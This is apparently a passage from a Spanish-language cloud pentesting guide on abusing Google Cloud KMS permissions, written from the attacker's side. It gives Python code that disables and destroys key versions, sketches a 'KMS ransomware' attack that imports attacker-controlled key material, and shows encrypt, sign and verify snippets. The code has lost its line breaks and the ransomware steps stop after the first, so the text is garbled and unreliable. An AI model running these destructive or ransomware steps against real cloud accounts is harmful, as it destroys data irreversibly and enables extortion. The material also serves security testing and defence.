Un atacante con este permiso podría destruir una versión de KMS. Para hacer esto, primero necesitas deshabilitar la clave y luego destruirla:
# pip install google-cloud-kmsfrom google.cloud import kmsdefdisable_key_version(project_id,location_id,key_ring_id,key_id,key_version):"""Disables a key version in Cloud KMS."""# Create the client.client = kms.KeyManagementServiceClient()# Build the key version name.key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)# Call the API to disable the key version.client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})defdestroy_key_version(project_id,location_id,key_ring_id,key_id,key_version):"""Destroys a key version in Cloud KMS."""# Create the client.client = kms.KeyManagementServiceClient()# Build the key version name.key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)# Call the API to destroy the key version.client.destroy_crypto_key_version(request={'name': key_version_name})# Example usageproject_id ='your-project-id'location_id ='your-location'key_ring_id ='your-key-ring'key_id ='your-key-id'key_version ='1'# Version number to disable and destroy# Disable the key versiondisable_key_version(project_id, location_id, key_ring_id, key_id, key_version)# Destroy the key versiondestroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
KMS Ransomware
En AWS es posible robar completamente una clave KMS modificando la política de recursos de KMS y permitiendo que solo la cuenta del atacante use la clave. Como estas políticas de recursos no existen en GCP, esto no es posible.
Sin embargo, hay otra forma de realizar un ransomware KMS global, que implicaría los siguientes pasos:
Crear una nueva versión de la clave con un material de clave importado por el atacante
from google.cloud import kmsimport base64defencrypt_symmetric(project_id,location_id,key_ring_id,key_id,plaintext):"""Encrypts data using a symmetric key from Cloud KMS."""# Create the client.client = kms.KeyManagementServiceClient()# Build the key name.key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)# Convert the plaintext to bytes.plaintext_bytes = plaintext.encode('utf-8')# Call the API.encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})ciphertext = encrypt_response.ciphertext# Optional: Encode the ciphertext to base64 for easier handling.return base64.b64encode(ciphertext)# Example usageproject_id ='your-project-id'location_id ='your-location'key_ring_id ='your-key-ring'key_id ='your-key-id'plaintext ='your-data-to-encrypt'ciphertext =encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)print('Ciphertext:', ciphertext)
cloudkms.cryptoKeyVersions.useToSign
import hashlibfrom google.cloud import kmsdefsign_asymmetric(project_id,location_id,key_ring_id,key_id,key_version,message):"""Sign a message using an asymmetric key version from Cloud KMS."""# Create the client.client = kms.KeyManagementServiceClient()# Build the key version name.key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)# Convert the message to bytes and calculate the digest.message_bytes = message.encode('utf-8')digest ={'sha256': hashlib.sha256(message_bytes).digest()}# Call the API to sign the digest.sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)return sign_response.signature# Example usage for signingproject_id ='your-project-id'location_id ='your-location'key_ring_id ='your-key-ring'key_id ='your-key-id'key_version ='1'message ='your-message'signature =sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)print('Signature:', signature)
cloudkms.cryptoKeyVersions.useToVerify
from google.cloud import kmsimport hashlibdefverify_asymmetric_signature(project_id,location_id,key_ring_id,key_id,key_version,message,signature):"""Verify a signature using an asymmetric key version from Cloud KMS."""# Create the client.client = kms.KeyManagementServiceClient()# Build the key version name.key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)# Convert the message to bytes and calculate the digest.message_bytes = message.encode('utf-8')digest ={'sha256': hashlib.sha256(message_bytes).digest()}# Build the verify request and call the API.verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)return verify_response.success# Example usage for verificationverified =verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)print('Verified:', verified)
